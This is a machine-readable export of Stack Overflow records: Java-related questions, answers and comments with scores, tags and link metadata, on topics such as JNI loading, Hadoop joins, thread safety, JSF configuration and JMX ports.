comment on: http://stackoverflow.com/a/22268975
score: 0
type: Comment

http://stackoverflow.com/comment/33851866
comment on: http://stackoverflow.com/q/22283214
type: QuestionComment
type: Comment
has text: You need to add `-static-libstdc++` to the flags.. Why? Because if you tried to load your .dll using `LoadLibrary("Myplugin.dll")`, you'll notice it cannot find certain libraries.. Either that or you need to add `Mingw64/bin` to your `%PATH%`. Another thing is to make sure your JVM is 64-bit. So again, try `LoadLibrary` your own plugin from a 64-bit executable and see if it loads.. Then try it with Java after.
score: 0

http://stackoverflow.com/q/22248187
answer count: 1
downvote count: 0
tagged with: yourkit
tagged with: profiling
favorite count: 0
upvote count: 3
type: UnansweredQuestion
type: Question
has title: is there an API for analying yourkit snapshot (memory/cpu)?
score: 3
tagged with: java
has answer: http://stackoverflow.com/a/22327180
has body: YourKit provides API for capturing CPU profiling (sampling/tracing). Some thing like below... import com.yourkit.api.Controller; import java.awt.*; import java.io.File; /** * to understand yourkit api..... */ public class AppMain { public static void main(String[] args) throws Exception { Controller yourKitController = new Controller(); yourKitController.startCPUSampling(null); AnApplication anApplication = new AnApplication(); anApplication.count(1000090); yourKitController.stopCPUProfiling(); String savedFilePath = yourKitController.captureSnapshot(Controller.SNAPSHOT_WITHOUT_HEAP); File savedFile = new File(savedFilePath); Desktop.getDesktop().open(savedFile); } } I could not find API for analysing the captured data. Is there a yourkit API for analyzing captured data?
tagged with: api

http://stackoverflow.com/comment/33706596
type: Comment
comment on: http://stackoverflow.com/q/22202915
has text: You might be able to dosomething like theArray = {new Object(20, 20, 20), new Object(20, 20, 20)...} but would still have to type them all out. Not entirely sure this would work, but worth a shot.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/33671148
type: Comment
has text: Yes. Generally you would read a line from a file and then loop over each character of the line to build your maze object.
comment on: http://stackoverflow.com/a/22182061
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33689876
type: Comment
type: QuestionComment
has text: No attempts so far? :)
score: 1
comment on: http://stackoverflow.com/q/22193795

http://stackoverflow.com/q/22250907
has body: I'm executing unit tests of a GWT application in plain Java using directly Guice for DI instead of GIN (used in normal execution). I'm also using the GWTEventBinder library (https://github.com/google/gwteventbinder) as support library for event declaration and listening. As required by the library I'm declaring an EventBinder for each class that listen to the events. During the normal execution the instance of the binder is injected by GIN. However during the unit tests the instance should be produced by Guice. Any idea on how to make Guice produce the EventBinder instance?
tagged with: unit-testing
tagged with: gwt
score: 3
upvote count: 3
tagged with: java
has title: How to use gwteventbinder with guice during unit test
type: Question
has answer: http://stackoverflow.com/a/25533702
tagged with: guice
answer count: 1
downvote count: 0
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/comment/33901315
type: Comment
has text: @Jef: That doesn't make any sense. How are you supposed to know whether `03:00` is the previous day or the next day?
comment on: http://stackoverflow.com/a/22310376
type: AnswerComment
score: 0

http://stackoverflow.com/a/22303019
accepted answer of: http://stackoverflow.com/q/22302851
type: Answer
has body: You don't specify the encoding when you write to the file; it is probable that the JRE's default file encoding is not UTF-8, hence the error. Instead of using: new FileWriter(file) try and use (JDK7): Files.newBufferedWriter(Paths.get("/path/to/file"), StandardCharsets.UTF_8) If JDK6: new OutputStreamWriter(new FileOutputStream(file), Charset.forName("UTF-8")) Similarly, for reading, use Files.newBufferedReader().
score: 0
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/22302851

http://stackoverflow.com/a/22178153
answers question: http://stackoverflow.com/q/22178133
downvote count: 0
type: Answer
score: 2
upvote count: 2
has comment: http://stackoverflow.com/comment/33662138
has body: During runtime, the method is invoked from actual instance object. i.e B. A a = new B(); a.test(); In the above code, You have instantiated Object B, not A. You have just assigned the reference variable of type A. Internally, it is referring only an instance of B. During compilation, it just checks whether the method is actually present in A reference and allow it to compile. During Runtime, the method is actually invoked on the real object i.e. B referred by the reference A

http://stackoverflow.com/q/22227831
has title: Java Rest, how to set and show custom error message
score: 0
has body: When the login fails due to blocked account I want to show a custom message that's set in the backend. But I cant access it in the response body, noot sure even if its set correctly. @POST @Path(/login) public Token logon() { ... String errorMsg = "This account is blocked please contact to Admin" throw new NotAuthorizedException(errorMsg); } And on javascript side when I get the error message I want to do: if (rejection.status === 401) { //rejection can be because of blocked account or invalid password, //they will both return 401, but need to have different messages $scope.message ="Show the error msg that I get from backend" ; } Here the returned rejection object consists of config, data, status and headers objects. But I cant see the msg that I set in the backend anywhere.
has comment: http://stackoverflow.com/comment/33751363
type: UnansweredQuestion
type: Question
has answer: http://stackoverflow.com/a/22336777
tagged with: java
tagged with: jersey
answer count: 1
tagged with: javascript

http://stackoverflow.com/comment/33768365
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22235797
type: Comment
has text: This is a task on my studies, i should solve it without using Pig or any other tools. And it should by a single map-reduce job, thus i can't run another job on my joined data.

http://stackoverflow.com/comment/33903985
type: AnswerComment
type: Comment
has text: Best practice wise, if it performs a service and stores no class level variables, it should be static and you should end the class name with Util or Helper.
score: 1
comment on: http://stackoverflow.com/a/22311500

http://stackoverflow.com/comment/33762565
score: 0
has text: It would have been hard to make the `Converter` generic. The implementation of converting a boolean would be totally different than converting a truck. I don't have to use Commons. I'm looking for a library that can convert anything to a boolean (or to true if it cannot be accomplished). Any ideas? BTW, some people don't like Commons. But I don't think it's a "buggy" library. People might not like its design in some cases.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22233384

http://stackoverflow.com/comment/33741085
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22222263
has text: @PrR3 I get a warning in my IDE telling me that it's not applicable for the type int[], but only Integer[].

http://stackoverflow.com/q/22187906
tagged with: graphics2d
tagged with: memory-management
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33680826
tagged with: java
tagged with: memory
type: Question
score: 0
has title: graphics.getDrawGraphics() high memory consumption
has comment: http://stackoverflow.com/comment/33680066
has body: I'm having a high memory usage problem with getDrawGraphics() method. It is causing me a "linear" memory consumption. Doing nothing but calling this once every 16 ms (~60fps) from a Thread, I'm going from 30Mb memory usage to over a hundread (increases an average of 100Kb per second. Sometimes, even 1~7Mb). Here is myRepaint() method. And yes, I've put before setIgnoreRepaint(true); public void myRepaint(){ if(repaintInProgress) return; repaintInProgress = true; BufferStrategy strategy = getBufferStrategy(); Graphics2D graphics = (Graphics2D) strategy.getDrawGraphics(); /* draw graphics here */ if(!loadedMap){ drawMap(graphics); loadedMap = true; } drawTowers(graphics); drawCreeps(graphics); if(graphics != null) graphics.dispose(); strategy.show(); Toolkit.getDefaultToolkit().sync(); repaintInProgress = false; } I tried clearing all lines inside this function. Memory consumption was stable, meaning that this specific method is causing the memory issue. After searching line by line, I figured out that getDrawGraphics() was the source of this problem. So, I tried letting only these 3 lines of code inside myRepaint(): BufferStrategy strategy = getBufferStrategy(); Graphics2D graphics = (Graphics2D) strategy.getDrawGraphics(); graphics.dispose(); This makes me believe that whether graphics.dispose() is not working or by having 8Gb of RAM, Java is not caring to free this memory. I've triple-double-checked. I'm not instantiating any objects during the method's execution, so there's no reason memory usage would increase. To keep track of it, I'm using Windows Task Manager. What could be the problem? How can I solve it?

http://stackoverflow.com/q/22326703
has comment: http://stackoverflow.com/comment/33969864
linked to: http://stackoverflow.com/q/3032482
score: 0
accepted answer: http://stackoverflow.com/a/24620026
answer count: 1
tagged with: windows
linked to: http://stackoverflow.com/q/1154446
has title: Atomic append string to file in Windows using Java
tagged with: scala
tagged with: java
has answer: http://stackoverflow.com/a/24620026
tagged with: multithreading
has comment: http://stackoverflow.com/comment/33929396
type: Question
has body: According to this question, small file appends on Windows are atomic. I am trying to leverage this in Scala / Java to avoid locking when appending a small int to a file. I am finding that writes using FileOutputStream(..., true) from multiple threads are being interleaved, even though the question linked above suggests that they should be atomic. A test harness for this in Scala can be found on my github The key code is: def invoked(id: Int, path: String) = { val writer = new FileOutputStream(path, true) val bytes = (id.toString + ';').getBytes(Charset.defaultCharset()) writer.write(bytes) writer.close() } ... I was hoping that "invoked" would be thread-safe without locking. The same Java/Scala code achieves atomic file appends on Linux (as per this question small file appends are atomic on POSIX), so the difference seems to be in the native implementations of FileOutputStream. Perhaps FileOutputStream is not passing the correct flags to Windows? Does anyone know how to make this work? Will I have to write a JNI DLL to get this to work, or is there a way I can do this with Java's standard libraries?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/34189426

http://stackoverflow.com/q/22186175
downvote count: 1
upvote count: 23
tagged with: performance
tagged with: java
tagged with: database
has body: What I think I'm looking for is a no-SQL, library-embedded, on disk (ie not in-memory) database, thats accessible from java (and preferably runs inside my instance of the JVM). That's not really much of a database, and I'm tempted to roll-my-own. Basically I'm looking for the "should we keep this in memory or put it on disk" portion of a database. Our model has grown to several gigabytes. Right now this is all done in memory, meaning we're pushing the JVM for upward of several gigabytes. It's currently all stored in a flat XML file, serialized and deserialized with xstream and compressed with Java'a built in gzip libraries. That's worked well when our model stays under 100MB, but now that its larger than that its becoming a problem. loosely speaking that model can be broken down as Project configuration component (directed-acyclic-graph), not at all database friendly a list of a dozen "experiment" structures each containing a list of about a dozen "run-model" structures. each run-model contains hundreds of megs of data. Once written they are never edited. What I'd like to do is have something that conforms to a map interface, of guid -> run-model. This mini-database would keep a flat table of these objects. On our experiment model, we would replace the list of run-models with a list of guids, and add, at the application layer, a get call to this map, which would pull it off the disk and into memory. That means we can keep configuration of our program in XML (which I'm very happy with) and keep a table of the big data in a DBMS that will keep us from consuming multi-GB of memory. On program start and exit I could then load and unload the two portions of our model (the config section in XML, and the run-models in the database format) from an archiving format. I'm sort've feeling gung-ho about this, and think that I could probably implement it with some of X-Stream's XML inspection strategies and a custom map implementation, but something a voice in the back of my head…
possible better answer: http://stackoverflow.com/a/38278224
has title: java embedded library on-disk key-value database
accepted answer: http://stackoverflow.com/a/22193064
has answer: http://stackoverflow.com/a/38278224
linked to: http://stackoverflow.com/q/260804
type: AnsweredQuestion
favorite count: 0
has comment: http://stackoverflow.com/comment/35704408
has comment: http://stackoverflow.com/comment/80505143
type: Question
tagged with: embedded-database
tagged with: nosql
score: 22
has answer: http://stackoverflow.com/a/22193064
answer count: 2

http://stackoverflow.com/q/22234579
downvote count: 1
type: Question
tagged with: hadoop
score: 0
accepted answer: http://stackoverflow.com/a/22235797
has comment: http://stackoverflow.com/comment/33767531
has comment: http://stackoverflow.com/comment/33767481
answer count: 1
has comment: http://stackoverflow.com/comment/33764320
favorite count: 0
has title: Grouping joined data in Hadoop map-reduce
has body: I have two different types of files, the one type is a list of users. It have following structure: UserID,Name,CountryID And the second type is orders list: OrderID,UserID,OrderSum Each user have lots of orders. I need to write map-reduce hadoop job (in java) and receive output with following structure: CountryID,NumOfUsers,MinOrder,MaxOrder It's not a problem for me to write a two different mappers (for each file type) and one reducer in order to join data from both files by UserID, and receive following structure: UserID,CountryID,UsersMinOrder,UsersMaxOrder But i don't understand how do i group that data by CountryID?
has comment: http://stackoverflow.com/comment/33765930
type: AnsweredQuestion
tagged with: join
has answer: http://stackoverflow.com/a/22235797
tagged with: java
upvote count: 1
tagged with: mapreduce

http://stackoverflow.com/comment/33922610
has text: The real problem is still unsolved.
comment on: http://stackoverflow.com/q/22322093
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22230611
has comment: http://stackoverflow.com/comment/58196576
score: 1
downvote count: 0
has body: @Marco13's answer is the most correct so far: you need a custom comparator that enforces your ordering. Luckily, Google Guava has a utility for that: Ordering.explicit(). private static Comparator&lt;DAY&gt; AM_ORD = Ordering.explicit(DAY.Sun, ... DAY.Sat); private static Comparator&lt;DAY&gt; EU_ORD = Ordering.explicit(DAY.Mon, ... DAY.Sun); public static void sortDates(List&lt;DAY&gt; dayList, boolean am) { Set&lt;DAY&gt; set = new TreeSet&lt;DAY&gt;(am ? AM_ORD : EU_ORD); set.addAll(dayList); for (DAY day : set) { System.out.println(day); } }
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/22229762

http://stackoverflow.com/q/22172623
answer count: 6
tagged with: string
has comment: http://stackoverflow.com/comment/33652289
has answer: http://stackoverflow.com/a/22172715
has answer: http://stackoverflow.com/a/22172692
has answer: http://stackoverflow.com/a/22172697
favorite count: 0
upvote count: 2
accepted answer: http://stackoverflow.com/a/22172697
has answer: http://stackoverflow.com/a/22172721
has comment: http://stackoverflow.com/comment/33652194
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22172723
has body: First ever question here, complete newbie so try to take it easy on me. I'm trying to figure out what's wrong here: public List&lt;String[]&gt; idOnlyQuery(String searchTerm, Connection conn){ List&lt;String[]&gt; result = new ArrayList&lt;String[]&gt;(); String[] rowResult = new String[7]; Statement stmt = null; try { stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery( "SELECT * FROM Jets WHERE CurrentID LIKE '" + searchTerm + "%'"); while(rs.next()){ String currentId= rs.getString("CurrentId"); String manufacturer = rs.getString("Constructor"); String type = rs.getString("ACType"); String series = rs.getString("Series"); String index = rs.getString("KeyNo"); String operator = rs.getString("Operator"); String baseAirport = rs.getString("Home_Airfield"); rowResult[0] = (currentId); rowResult[1] = (manufacturer); rowResult[2] = (type); rowResult[3] = (series); rowResult[4] = (operator); rowResult[5] = (baseAirport); rowResult[6]= (index); result.add(rowResult); } System.out.println(result.get(0)[0]); This method returns a list of string arrays, these arrays are retrieved from an SQLite database. Everything works apart from the fact that the string arrays in my result List seem to be getting overwritten every time the while loop repeats itself. The last println always gives me the currentId of the last row retrieved from the database, but if I put a println inside the while loop it returns the appropriate data on each while cycle. I really can't figure out where my String[] elements are getting overwritten. It's probably really obvious but I've spent hours looking online to check if I'm doing the add procedure correctly and still no joy. HELP!
tagged with: java
possible better answer: http://stackoverflow.com/a/22172709
type: Question
has answer: http://stackoverflow.com/a/22172709
has comment: http://stackoverflow.com/comment/33652517
score: 2
tagged with: arrays
downvote count: 0
has title: List of String Arrays overwriting itself

http://stackoverflow.com/a/22261899
score: 3
upvote count: 3
accepted answer of: http://stackoverflow.com/q/22261867
has comment: http://stackoverflow.com/comment/33813923
answers question: http://stackoverflow.com/q/22261867
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33832834
has body: You can use Matcher.group (int groupNum): m.group ( AMReg.LocLink.getPlace() ); Where AMReg.LocLink.getPlace() returns a group # 1, 2 etc.
downvote count: 0
has comment: http://stackoverflow.com/comment/33813944
type: Answer

http://stackoverflow.com/a/26296006
type: Answer
upvote count: 9
has comment: http://stackoverflow.com/comment/120134577
downvote count: 0
score: 9
has body: I also encoutered the same problem, but still not properly resolved. As a part of a solution Spring documentation says: "Using DependsOn at the class level has no effect unless component-scanning is being used." This is the reason why the @dependsOn annotation has no effect.
answers question: http://stackoverflow.com/q/22178735

http://stackoverflow.com/comment/51828950
type: Comment
comment on: http://stackoverflow.com/q/22273340
has text: Render offscreen to a surface 4 times bigger, than downsampling
score: 0
type: QuestionComment

http://stackoverflow.com/q/22324387
tagged with: android
has title: Get Video Thumbnail from specified postion - Android
score: 0
tagged with: java
answer count: 2
possible better answer: http://stackoverflow.com/a/22360210
has answer: http://stackoverflow.com/a/22360210
has answer: http://stackoverflow.com/a/22324540
has body: Right now I am creating thumbnail using below method- Bitmap thumb = ThumbnailUtils.createVideoThumbnail(path, MediaStore.Images.Thumbnails.MICRO_KIND); This method is working fine, The problem is I am getting thumbnail from the beginning of the video (Might be from 00:00 or 00:01). My Ques is, Can I get Thumbnail from specified position(Let's say 00:05)? Thanks.
tagged with: thumbnails
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22324540
type: Question

http://stackoverflow.com/a/22306571
score: 3
answers question: http://stackoverflow.com/q/22306511
has body: The AsyncTask runs parallel to your code. It does not finish immediately after execute finishes. All your code below execute() needs to be in your onPostExecute.
downvote count: 0
type: Answer
upvote count: 3

http://stackoverflow.com/comment/33904084
has text: Store them in a variable and display the variable value? Also, `==` is the wrong way to compare `String`s. You want `.equals()`
score: 1
comment on: http://stackoverflow.com/q/22312013
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22260001
tagged with: android
answer count: 0
type: UnansweredQuestion
tagged with: java
tagged with: android-intent
type: Question
has comment: http://stackoverflow.com/comment/33846684
has body: I know there are lot of topic related to this but none of them worked for me All i want is share a image which is stored in /drawable here is my code Uri uri=Uri.parse("android.resource://[my_package_name]/drawable/image1"); i.setAction(Intent.ACTION_SEND); i.putExtra(Intent.EXTRA_STREAM,uri); i.setType("image/jpeg"); startActivity(Intent.createChooser(i,"share using")); its not working...
has comment: http://stackoverflow.com/comment/33810507
score: 0
has comment: http://stackoverflow.com/comment/33886487
has title: Sharing a Resourse Image in android

http://stackoverflow.com/comment/33736969
comment on: http://stackoverflow.com/q/22219603
score: 0
type: Comment
type: QuestionComment
has text: have a look here http://www.gwtproject.org/javadoc/latest/com/google/gwt/user/client/ui/TabLayoutPanel.html#add(com.google.gwt.user.client.ui.Widget, java.lang.String), you can use this method to add tabs dynamically to your `TabLayoutPanel` othe approach is to clean panel with content of your tab

http://stackoverflow.com/comment/33690827
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22194404
has text: You're forgetting to call `super.paintComponent` in your `paintComponent` method.

http://stackoverflow.com/a/22213142
downvote count: 0
type: Answer
has body: Is it possible for two instances of Outer to somehow interfere with each other by both calling doSomething on TASK_UPDATER? The answer is "it depends". Any time you have multiple threads sharing the same object instances, you may have concurrency issues. In your case, you have multiple instances of Outer sharing the same static TaskUpdater instance. This in itself is not a problem however if TaskUpdater has any fields, they will be shared by the threads. If the threads make any changes to those fields in any way then data synchronization needs to happen and possible blocking around critical code sections. If the TaskUpdater is only reading and operating on the Task argument, which seems to be per Outer instance, then there is no problem. For example, you could have a task updater like: public static final TaskUpdater TASK_UPDATER = new TaskUpdater() { public void doSomething(Task task) { int total = 0; for (Job job : task.getJobs() { total += job.getSize(); } task.setTotalSize(total); } }; In this case, the task is only changing the Task instance passed in. It can use local variables without a problem because those are on the stack and now shared between threads. This is thread safe. However consider this updater: public static final TaskUpdater TASK_UPDATER = new TaskUpdater() { private long total = 0; public void doSomething(Task task) { for (Job job : task.getJobs() { // race condition and memory synchronization issues here total += job.getSize(); } } public long getTotal() { return total; } }; In this case, both threads will be updating the same total field on the shard TaskUpdater. This is not thread safe since you have race conditions around the += (since it is 3 operations: get, plus, set) as well as memory synchronization issues. One thread may have a cached version of total which is 5 which it increments to 6 but another thread has already incremented its cached version of total to 10. When threads share common fields you need to protect those operations an…
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22209393

http://stackoverflow.com/a/22291052
answers question: http://stackoverflow.com/q/22290977
has body: One fix is to create a new type of list that does support removal such as LinkedList, copy the elements from list to the LinkedList, perform the operation and then return the LinkedList.
type: Answer
score: 0

http://stackoverflow.com/comment/33779102
comment on: http://stackoverflow.com/q/22242847
has text: @AndrewThompson Add - `setSize` to the comment as well (yes it should be avoided)
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/70099475
type: Comment
has text: @Nos: Are you sure this is the exact same error? After all, this question was asked 3 years ago... There might be other errors producing similar stack traces. I'd prefer answering an actual question (with some more info) than reviving this one here
score: 0
comment on: http://stackoverflow.com/q/22205655
type: QuestionComment

http://stackoverflow.com/a/22309495
answers question: http://stackoverflow.com/q/22308866
accepted answer of: http://stackoverflow.com/q/22308866
score: 0
type: AcceptedAnswer
type: Answer
has body: You're using JSF 2.1 implementation but you have configured your faces-config.xml file to old JSF 1.2: &lt;faces-config xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-facesconfig_1_2.xsd" version="1.2"&gt; ^here's the main problem Just update your faces-config.xml file to the right version of JSF: &lt;faces-config xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-facesconfig_2_0.xsd" version="2.0"&gt; Or even better, just remove it and add it only if you're going to use any specific configuration like registering a phase listener. You can find more use cases for this file here: What is the use of faces-config.xml in JSF 2?. Apart of this, there are other main issues: JSF 2.x requires at least Servlet 2.5, which is available since JBoss 5. Refer to StackOverflow JSF wiki for more info on this topic. The current tutorial you're following refers to JSF 1.2, which is pretty old. JSF 2.0 has been released since 2009. I would recommend stop following this tutorial and move to a newer one like mkyong's tutorial on JSF 2. If you really want to stick to JSF 1.2 for specific requirements like maintenance of legacy applications, then replace the JSF libraries from 2.1 to 1.2.

http://stackoverflow.com/a/22287680
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22287579
score: 2
answers question: http://stackoverflow.com/q/22287579
downvote count: 0
has body: I believe manipulating logging on a per feature basis is very inline with what markers are made for. It's always good to read up and implement things like that based one existing best practices though. This question was about best practices for slf4j logback and should be useful: Best practices for using Markers in SLF4J/Logback
upvote count: 2

http://stackoverflow.com/comment/33856761
type: QuestionComment
comment on: http://stackoverflow.com/q/22285760
score: 0
has text: *Please* learn about scopes, visibility and static/non-static behaviour in Java...
type: Comment

http://stackoverflow.com/a/22324878
type: Answer
answers question: http://stackoverflow.com/q/22324638
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/33928815
has body: Try with Jackcess project, is simple and stable.
downvote count: 0

http://stackoverflow.com/a/22272022
score: 1
accepted answer of: http://stackoverflow.com/q/22271858
has comment: http://stackoverflow.com/comment/33832696
answers question: http://stackoverflow.com/q/22271858
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33831670
has comment: http://stackoverflow.com/comment/33831780
type: Answer
has body: Just call a method on the lazy proxies you want to initialize: SomeEntity e = ...; e.getFoos().size(); // now foos is initialized e.getBar().getName(); // now bar is initialized To load the whole state at once using JPQL, you need to use fetch joins: select e from SomeEntity e left join fetch e.foos left join fetch e.bar where ...
downvote count: 0

http://stackoverflow.com/a/22211155
type: Answer
upvote count: 4
downvote count: 0
has body: When adding Circles store all of them into a List: Circle myCircle = mGoogleMap.addCircle(circleOptions); myList.add(myCircle); At some point, iterate over this list and remove all of them: for (Circle myCircle : myList) { myCircle.remove(); } myList.clear(); The API provides no other way of removing visual objects except for GoogleMap.clear() as of version 4.2.
answers question: http://stackoverflow.com/q/22202299
type: AcceptedAnswer
score: 4
accepted answer of: http://stackoverflow.com/q/22202299

http://stackoverflow.com/a/22284104
accepted answer of: http://stackoverflow.com/q/22283880
has comment: http://stackoverflow.com/comment/33854419
has body: Try packing the log4j library along with your JAR file <mkdir dir="${jar.dir}"/> <attribute name="Main-Class" value="${main-class}"/> <attribute name="Class-Path" value="."/> <zipfileset excludes="META-INF/*.SF" src="I:/Study/Codes/_JDeveloper/LoggingTestApp/Client/lib/log4j1.2.13.jar"/>
has comment: http://stackoverflow.com/comment/33854169
type: AcceptedAnswer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33854304
has comment: http://stackoverflow.com/comment/33854953
type: Answer
has comment: http://stackoverflow.com/comment/33854494
has comment: http://stackoverflow.com/comment/33853823
upvote count: 1
has comment: http://stackoverflow.com/comment/33853939
answers question: http://stackoverflow.com/q/22283880
has comment: http://stackoverflow.com/comment/33853527

http://stackoverflow.com/comment/33798776
type: Comment
type: QuestionComment
has text: You've omitted the setter for the `studentRepository` field for the `StudentValidator` class - does it have the same `println` statement that the setter on `MyValidator` does?
score: 0
comment on: http://stackoverflow.com/q/22253731

http://stackoverflow.com/comment/33717837
has text: I was wondering the same thing myself
comment on: http://stackoverflow.com/q/22208898
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22306586
score: 9
upvote count: 9
has comment: http://stackoverflow.com/comment/33897865
downvote count: 0
has comment: http://stackoverflow.com/comment/76980556
has body: The initial port you define with com.sun.management.jmxremote.port is called a registry port and is only used to start negotiation and determine next port(s) to use for "real" communication. Java RMI mechanism uses dynamically allocated ports and in general is not compatible with firewalls. What port is used by Java RMI connection? That said, for JMX it is possible to work around it a) Use system properties to lock both ports (requires Java 7) com.sun.management.jmxremote.port com.sun.management.jmxremote.rmi.port b) Use custom code to request a specific port. See JConsole over ssh local port forwarding See also: Why Java opens 3 ports when JMX is configured? http://realjenius.com/2012/11/21/java7-jmx-tunneling-freedom/
answers question: http://stackoverflow.com/q/22306363
type: Answer

http://stackoverflow.com/comment/33750048
type: AnswerComment
has text: i copied but it is showing message unclosed string literal
comment on: http://stackoverflow.com/a/22226206
score: 0
type: Comment

http://stackoverflow.com/comment/33736650
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22218917
has text: is your package correct?
score: 0

http://stackoverflow.com/comment/33847699
comment on: http://stackoverflow.com/q/22280870
type: Comment
type: QuestionComment
score: 1
has text: The rule is very simple: always pass-by-value, and pass-by-reference does not exist in Java. But: references are also passed by value. Note that passing a reference by value is not the same as pass-by-reference.

http://stackoverflow.com/comment/43328883
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22225218
type: QuestionComment
has text: Wow, "Sieve of Eratosthenes" is something I haven't heard in a long time. +1 for bringing back the memories. :)

http://stackoverflow.com/q/22226265
has answer: http://stackoverflow.com/a/22228337
tagged with: java
has title: How to perform algorithm on this program
has body: The program will compute the final grades of students. Each students holds the record of his/her Midterm grade, Second Quarter grade and Final exam. Final Grade will be 25% of Midterm grade, 30% of Second Quarter grade and 45% of the Final exam. The program will ask data for 10 student. Data for each Student consist of name, section, midterm grade, second quarter grade and final exam. How will I display the grades of the student in a tabular form? This is the code for gradesummary.java public class gradesummary { public static void main(String args[]){ Scanner cin = new Scanner(System.in); Vector&lt;Student&gt; list = new Vector&lt;&gt;(); for(int x=0; x&lt;10 ;x++){ Student s = new Student(); System.out.print("Name: "); s.name = cin.nextLine(); System.out.print("Section: "); s.section = cin.nextLine(); System.out.print("Midterm Grade: "); s.midgrade = cin.nextDouble(); System.out.print("Second Quarter: "); s.secondqtr = cin.nextDouble(); System.out.print("Final Exam: "); s.finexam = cin.nextDouble(); //save s in data collection list.add(s); } for(int x = 0; x&lt;10; x++){ //what will i do here next? Student xtt = list.get(x); } } } This is the code for Student.java public class Student { //is this class correct? String name; String section; Double midgrade; Double secondqtr; Double finexam; Double fingrade; public Student(){ } public Student (String n, String s, Double mg, Double sq, Double fe, Double fg){ name = n; section = s; midgrade = mg; secondqtr = sq; finexam = fe; fingrade = fg; } } i want an output like this Name Midterm Grade Second Quarter Final Exam Final Grade Student2 80 79.69 85 87.674 Student2 78 77.69 81 79.257 Student3 88 87 89 88.15 Student4 88.67 84 86.78 86.4185 Student5 98 90 94 93.8 Student6 93 91 90 91.05 Student7 84 78 87 83.55 Student8 82 86.4 89 86.47 Student9 72 79 81 78.15 Student10 85.34 81 83 82.985
type: Question
has comment: http://stackoverflow.com/comment/33747988
has comment: http://stackoverflow.com/comment/33769252
has answer: http://stackoverflow.com/a/22227581
upvote count: 0
score: -2
linked to: http://stackoverflow.com/q/15215326
linked to: http://stackoverflow.com/q/1358512
answer count: 3
has answer: http://stackoverflow.com/a/22226496
linked to: http://stackoverflow.com/q/2745206
favorite count: 0
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/33747701
tagged with: algorithm

http://stackoverflow.com/comment/33690046
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22193566
has text: You mean something like this http://stackoverflow.com/questions/9894361/detecting-similarity-in-two-video-files

http://stackoverflow.com/a/22216321
has comment: http://stackoverflow.com/comment/33731083
has comment: http://stackoverflow.com/comment/33730863
has comment: http://stackoverflow.com/comment/33730872
type: Answer
has comment: http://stackoverflow.com/comment/33731025
upvote count: 1
accepted answer of: http://stackoverflow.com/q/22216132
has body: Check your getCurrentDate() method. I have replaced with new Date() and output is 96 as you said.
has comment: http://stackoverflow.com/comment/33731042
answers question: http://stackoverflow.com/q/22216132
type: AcceptedAnswer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33730935

http://stackoverflow.com/comment/33800814
type: Comment
type: QuestionComment
has text: possible duplicate of [How to find out why renameTo() failed?](http://stackoverflow.com/questions/1325388/how-to-find-out-why-renameto-failed)
score: 0
comment on: http://stackoverflow.com/q/22254898

http://stackoverflow.com/comment/33811478
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/22260539
type: Comment
has text: `SortedStringListReferenceBased_solution` is the name of a class that you do not have defined; is that the class you are supposed to create for the assignment? Anyways, the code you have posted would not compile, because you are declaring `myGroceryList` twice. It's not "sending data to two classes at once", it's simply not compiling at all because that isn't valid Java code.

http://stackoverflow.com/a/22193097
downvote count: 0
has body: The error is in your printing loop: System.out.println(ctr +"\t" + (char) (ctr) + "\t" + iaCount[caInputWords[i]]); Since i hasn't changed since the first loop, it is equal to caInputWords.length at this point. I guess you just meant: System.out.println(ctr +"\t" + (char) (ctr) + "\t" + iaCount[ctr]); As a side note, you might not want to print all the ASCII characters themselves. Some of them don't represent printable characters or are whitespace. One simple way around this is to check that iaCount[ctr] &gt; 0 before printing so you only print characters that were in the String to begin with.
has comment: http://stackoverflow.com/comment/33689870
type: Answer
score: 3
answers question: http://stackoverflow.com/q/22192937
upvote count: 3

http://stackoverflow.com/a/22266277
has body: Use .zip() to make a list of tuple and iterate over it. val a = Seq(1,2,3) val b = Seq(4,5,6) for ((i, j) &lt;- a.zip(b)) { println(s"$i $j") } // It prints out: // 1 4 // 2 5 // 3 6
downvote count: 1
upvote count: 13
answers question: http://stackoverflow.com/q/22266087
accepted answer of: http://stackoverflow.com/q/22266087
has comment: http://stackoverflow.com/comment/115493031
score: 12
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/a/22600448
downvote count: 1
score: -1
